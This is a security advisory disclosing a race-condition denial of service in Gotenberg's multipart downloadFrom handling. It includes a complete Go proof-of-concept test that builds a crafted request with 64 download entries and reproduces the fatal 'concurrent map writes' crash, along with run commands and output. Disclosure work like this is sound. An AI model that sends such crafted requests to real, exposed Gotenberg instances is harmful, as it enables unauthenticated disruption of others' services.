Gotenberg has a Race Condition via Multipart `downloadFrom` Handling

Summary

Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.

A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.

In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.

Details

The issue is in pkg/modules/api/context.go.

newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():

• pkg/modules/api/context.go:221

Each goroutine downloads a file and then writes to request context maps shared by all goroutines:

• ctx.files[filename] = path
• ctx.diskToOriginal[path] = filename
• ctx.filesByField[...] = append(...)

Affected lines in current main:

• pkg/modules/api/context.go:395
• pkg/modules/api/context.go:396
• pkg/modules/api/context.go:401

Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.

The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.

PoC

The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.

Run from the repository root:

cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF'
//go:build security_poc

package api

import (
    "bytes"
    "encoding/json"
    "fmt"
    "log/slog"
    "mime/multipart"
    "net/http"
    "net/http/httptest"
    "sync"
    "testing"
    "time"

    "github.com/labstack/echo/v4"

    "github.com/gotenberg/gotenberg/v8/pkg/gotenberg"
)

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) {
    const downloads = 64

    var ready sync.WaitGroup
    ready.Add(downloads)
    release := make(chan struct{})
    var releaseOnce sync.Once

    server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        ready.Done()
        go func() {
            ready.Wait()
            releaseOnce.Do(func() {
                close(release)
            })
        }()
        <-release

        filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i"))
        w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
        _, _ = w.Write([]byte("downloaded"))
    }))
    defer server.Close()

    dls := make([]downloadFrom, downloads)
    for i := range dls {
        dls[i] = downloadFrom{
            Url:   fmt.Sprintf("%s/file?i=%d", server.URL, i),
            Field: "embedded",
        }
    }

    payload, err := json.Marshal(dls)
    if err != nil {
        t.Fatalf("marshal downloadFrom payload: %v", err)
    }

    body := new(bytes.Buffer)
    writer := multipart.NewWriter(body)
    err = writer.WriteField("downloadFrom", string(payload))
    if err != nil {
        t.Fatalf("write downloadFrom field: %v", err)
    }
    err = writer.Close()
    if err != nil {
        t.Fatalf("close multipart writer: %v", err)
    }

    req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body)
    req.Header.Set("Content-Type", writer.FormDataContentType())

    echoCtx := echo.New().NewContext(req, httptest.NewRecorder())
    logger := slog.New(slog.DiscardHandler)
    fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))
    downloadFromCfg := downloadFromConfig{
        maxRetry: 0,
    }

    ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg)
    if err != nil {
        t.Fatalf("newContext returned error: %v", err)
    }
    defer cancel()

    if got := len(ctx.files); got != downloads {
        t.Fatalf("downloaded files = %d, want %d", got, downloads)
    }
}
EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1
rm pkg/modules/api/downloadfrom_race_poc_test.go

Expected result with the race detector:

WARNING: DATA RACE
Write at ...
  github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()
    .../pkg/modules/api/context.go:395

WARNING: DATA RACE
  .../pkg/modules/api/context.go:396

WARNING: DATA RACE
  .../pkg/modules/api/context.go:401

Running the same PoC without -race also demonstrates practical process termination:

GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20

Observed result:

fatal error: concurrent map writes
github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()
  .../pkg/modules/api/context.go:395
FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api

Impact

This is a remote denial-of-service vulnerability.

Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.

The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.